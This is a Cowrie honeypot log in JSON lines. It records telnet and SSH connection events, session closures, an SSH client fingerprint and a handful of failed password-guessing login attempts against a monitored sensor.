{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51080,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e4d24ad2fd","protocol":"telnet","message":"New connection: 137.184.155.248:51080 (10.17.0.5:23) [session: 65e4d24ad2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:17.816954Z"}
{"eventid":"cowrie.session.closed","duration":30.60005521774292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.064555Z","src_ip":"213.129.84.225","session":"309c9a1a87ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55908,"dst_ip":"159.203.135.109","dst_port":23,"session":"61847a161253","protocol":"telnet","message":"New connection: 213.129.84.225:55908 (159.203.135.109:23) [session: 61847a161253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.144813Z"}
{"eventid":"cowrie.session.closed","duration":30.85735559463501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.224624Z","src_ip":"213.129.84.225","session":"70a928727264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56816,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc55fbc8b9da","protocol":"telnet","message":"New connection: 213.129.84.225:56816 (159.203.135.109:23) [session: cc55fbc8b9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.311524Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"buffys","message":"login attempt [user/buffys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.354289Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52730,"dst_ip":"159.203.135.109","dst_port":23,"session":"f901ecbaa0f1","protocol":"telnet","message":"New connection: 207.148.4.7:52730 (159.203.135.109:23) [session: f901ecbaa0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:18.888190Z"}
{"eventid":"cowrie.session.closed","duration":30.219733715057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:19.056719Z","src_ip":"213.129.84.225","session":"c01782c52aa3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"buffalos","message":"login attempt [user/buffalos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:19.455996Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51514172554016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:20.054958Z","src_ip":"213.129.84.225","session":"55fa8938bf77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.381370544433594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:20.068129Z","src_ip":"207.148.4.7","session":"79d06298b56f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955657243728638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:20.524272Z","src_ip":"213.129.84.225","session":"9ef142016368","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"budget","message":"login attempt [user/budget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:20.557736Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40684,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b785c757b2e","protocol":"telnet","message":"New connection: 213.129.84.225:40684 (159.203.135.109:23) [session: 0b785c757b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:20.852828Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52744,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe790b06f10","protocol":"telnet","message":"New connection: 207.148.4.7:52744 (159.203.135.109:23) [session: 7fe790b06f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:21.046321Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:21.659567Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35079574584961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:22.189647Z","src_ip":"213.129.84.225","session":"8b8bd3530579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86066174507141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:22.205386Z","src_ip":"213.129.84.225","session":"f368dba1aa17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52746,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44614dee277","protocol":"telnet","message":"New connection: 207.148.4.7:52746 (159.203.135.109:23) [session: d44614dee277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:22.227603Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38630,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58bbf636f94","protocol":"telnet","message":"New connection: 213.129.84.225:38630 (159.203.135.109:23) [session: e58bbf636f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:22.440731Z"}
{"eventid":"cowrie.session.closed","duration":30.796285390853882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.047342Z","src_ip":"207.148.4.7","session":"b09027bf76ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297476768493652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.148947Z","src_ip":"207.148.4.7","session":"4dcaf0e58ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"1074538ef582","protocol":"telnet","message":"New connection: 213.129.84.225:52368 (159.203.135.109:23) [session: 1074538ef582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.211535Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52596,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae85a84bd282","protocol":"telnet","message":"New connection: 213.129.84.225:52596 (159.203.135.109:23) [session: ae85a84bd282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.260010Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53878,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd3b09c2db0","protocol":"telnet","message":"New connection: 213.129.84.225:53878 (159.203.135.109:23) [session: dcd3b09c2db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.489485Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54946,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d542372f21","protocol":"telnet","message":"New connection: 213.129.84.225:54946 (159.203.135.109:23) [session: 26d542372f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:23.662645Z"}
{"eventid":"cowrie.session.closed","duration":30.720280408859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:24.062896Z","src_ip":"213.129.84.225","session":"2b00db5e5bf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61115837097168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:24.133722Z","src_ip":"213.129.84.225","session":"f6336f0ef827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52756,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b8f3533db5c","protocol":"telnet","message":"New connection: 207.148.4.7:52756 (159.203.135.109:23) [session: 2b8f3533db5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:24.582541Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b484a64b5f7","protocol":"telnet","message":"New connection: 213.129.84.225:59724 (159.203.135.109:23) [session: 2b484a64b5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:24.635270Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34322,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc6027dbe62","protocol":"telnet","message":"New connection: 213.129.84.225:34322 (159.203.135.109:23) [session: 6fc6027dbe62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:25.250696Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39838,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef90be071da","protocol":"telnet","message":"New connection: 213.129.84.225:39838 (159.203.135.109:23) [session: 0ef90be071da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:26.369698Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43474,"dst_ip":"10.17.0.5","dst_port":23,"session":"008c587e19f7","protocol":"telnet","message":"New connection: 137.184.155.248:43474 (10.17.0.5:23) [session: 008c587e19f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:26.526163Z"}
{"eventid":"cowrie.session.closed","duration":30.871500730514526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:27.062449Z","src_ip":"213.129.84.225","session":"ab71206e0de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955799341201782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:27.178521Z","src_ip":"207.148.4.7","session":"f8f117434c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713228225708008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:27.182393Z","src_ip":"213.129.84.225","session":"e9757d925e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69393539428711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.046379Z","src_ip":"213.129.84.225","session":"ab07bc9c88a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48836,"dst_ip":"159.203.135.109","dst_port":23,"session":"8684c1bdd26b","protocol":"telnet","message":"New connection: 213.129.84.225:48836 (159.203.135.109:23) [session: 8684c1bdd26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.141827Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43944,"dst_ip":"159.203.135.109","dst_port":23,"session":"625c1e10854e","protocol":"telnet","message":"New connection: 213.129.84.225:43944 (159.203.135.109:23) [session: 625c1e10854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.238646Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5768cf441cf","protocol":"telnet","message":"New connection: 213.129.84.225:50496 (159.203.135.109:23) [session: f5768cf441cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.445732Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"807ede6b9aa5","protocol":"telnet","message":"New connection: 137.184.155.248:43486 (10.17.0.5:23) [session: 807ede6b9aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.630069Z"}
{"eventid":"cowrie.session.closed","duration":44.93493843078613,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.652798Z","src_ip":"137.184.155.248","session":"49840d0a9e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179327964782715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:28.907547Z","src_ip":"207.148.4.7","session":"cd6c4c8d4c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.117984771728516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:29.048360Z","src_ip":"213.129.84.225","session":"6fc6796e0ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43494,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd418f698fd9","protocol":"telnet","message":"New connection: 137.184.155.248:43494 (10.17.0.5:23) [session: bd418f698fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:29.091026Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":51710,"dst_ip":"159.203.135.109","dst_port":23,"session":"79efbeb9a3be","protocol":"telnet","message":"New connection: 207.148.4.7:51710 (159.203.135.109:23) [session: 79efbeb9a3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:29.319090Z"}
{"eventid":"cowrie.session.closed","duration":30.995578050613403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:30.095772Z","src_ip":"213.129.84.225","session":"1d031aba2b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fce7b130567","protocol":"telnet","message":"New connection: 213.129.84.225:59922 (159.203.135.109:23) [session: 7fce7b130567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:30.466065Z"}
{"eventid":"cowrie.session.closed","duration":30.807499170303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:30.590161Z","src_ip":"213.129.84.225","session":"5957cd0ac51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57606,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c8946151bb","protocol":"telnet","message":"New connection: 213.129.84.225:57606 (159.203.135.109:23) [session: 04c8946151bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:30.955503Z"}
{"eventid":"cowrie.session.closed","duration":30.674023389816284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.073379Z","src_ip":"213.129.84.225","session":"4d12003e6555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41674280166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.081935Z","src_ip":"213.129.84.225","session":"bad0213b3142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":51718,"dst_ip":"159.203.135.109","dst_port":23,"session":"07494072deeb","protocol":"telnet","message":"New connection: 207.148.4.7:51718 (159.203.135.109:23) [session: 07494072deeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.087328Z"}
{"eventid":"cowrie.session.closed","duration":30.463565826416016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.092326Z","src_ip":"213.129.84.225","session":"2bb5ab201b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dbd86c6fdfc","protocol":"telnet","message":"New connection: 213.129.84.225:35400 (159.203.135.109:23) [session: 9dbd86c6fdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.265460Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37484,"dst_ip":"159.203.135.109","dst_port":23,"session":"a971193cb27f","protocol":"telnet","message":"New connection: 213.129.84.225:37484 (159.203.135.109:23) [session: a971193cb27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:31.705393Z"}
{"eventid":"cowrie.session.closed","duration":30.12523078918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:32.046391Z","src_ip":"213.129.84.225","session":"55bd43aa8eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42414,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc4e8d1fee5b","protocol":"telnet","message":"New connection: 213.129.84.225:42414 (159.203.135.109:23) [session: dc4e8d1fee5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:32.758792Z"}
{"eventid":"cowrie.session.closed","duration":31.63570261001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:32.880714Z","src_ip":"207.148.4.7","session":"1dfb332a6f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45692,"dst_ip":"159.203.135.109","dst_port":23,"session":"481ada651c28","protocol":"telnet","message":"New connection: 213.129.84.225:45692 (159.203.135.109:23) [session: 481ada651c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:33.422492Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60442,"dst_ip":"159.203.135.109","dst_port":23,"session":"babc04dd0de9","protocol":"telnet","message":"New connection: 213.129.84.225:60442 (159.203.135.109:23) [session: babc04dd0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:33.587359Z"}
{"eventid":"cowrie.session.closed","duration":30.492294549942017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:34.120435Z","src_ip":"213.129.84.225","session":"cb3fbb94332a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49256,"dst_ip":"159.203.135.109","dst_port":23,"session":"0630e06a614e","protocol":"telnet","message":"New connection: 213.129.84.225:49256 (159.203.135.109:23) [session: 0630e06a614e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:34.165970Z"}
{"eventid":"cowrie.session.closed","duration":46.58455848693848,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:34.386420Z","src_ip":"137.184.155.248","session":"79bf3be34ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969085931777954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:34.795604Z","src_ip":"207.148.4.7","session":"f24002c44ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44962978363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:35.223468Z","src_ip":"213.129.84.225","session":"60a520a7593f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":45576,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b9d3b62ac17","protocol":"ssh","message":"New connection: 203.90.110.186:45576 (10.17.0.5:22) [session: 0b9d3b62ac17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:35.763232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:35.774556Z","src_ip":"203.90.110.186","session":"0b9d3b62ac17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:36.006581Z","src_ip":"203.90.110.186","session":"0b9d3b62ac17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93044662475586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:36.126032Z","src_ip":"207.148.4.7","session":"65fdcb224f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39364,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2b52651047","protocol":"telnet","message":"New connection: 207.148.4.7:39364 (159.203.135.109:23) [session: fb2b52651047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:36.280633Z"}
{"eventid":"cowrie.session.closed","duration":31.655783653259277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:36.622732Z","src_ip":"207.148.4.7","session":"042decca8c8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$w0rd","message":"login attempt [user/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:36.931967Z","src_ip":"203.90.110.186","session":"0b9d3b62ac17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39376,"dst_ip":"159.203.135.109","dst_port":23,"session":"cda11cea34b7","protocol":"telnet","message":"New connection: 207.148.4.7:39376 (159.203.135.109:23) [session: cda11cea34b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:37.006559Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35276,"dst_ip":"159.203.135.109","dst_port":23,"session":"c17aa7b64464","protocol":"telnet","message":"New connection: 213.129.84.225:35276 (159.203.135.109:23) [session: c17aa7b64464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:37.141283Z"}
{"eventid":"cowrie.session.closed","duration":30.833496570587158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:37.185625Z","src_ip":"213.129.84.225","session":"c9f1811969c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:38.161746Z","src_ip":"203.90.110.186","session":"0b9d3b62ac17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa82b1cc885","protocol":"telnet","message":"New connection: 137.184.155.248:60160 (10.17.0.5:23) [session: 4fa82b1cc885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:38.274224Z"}
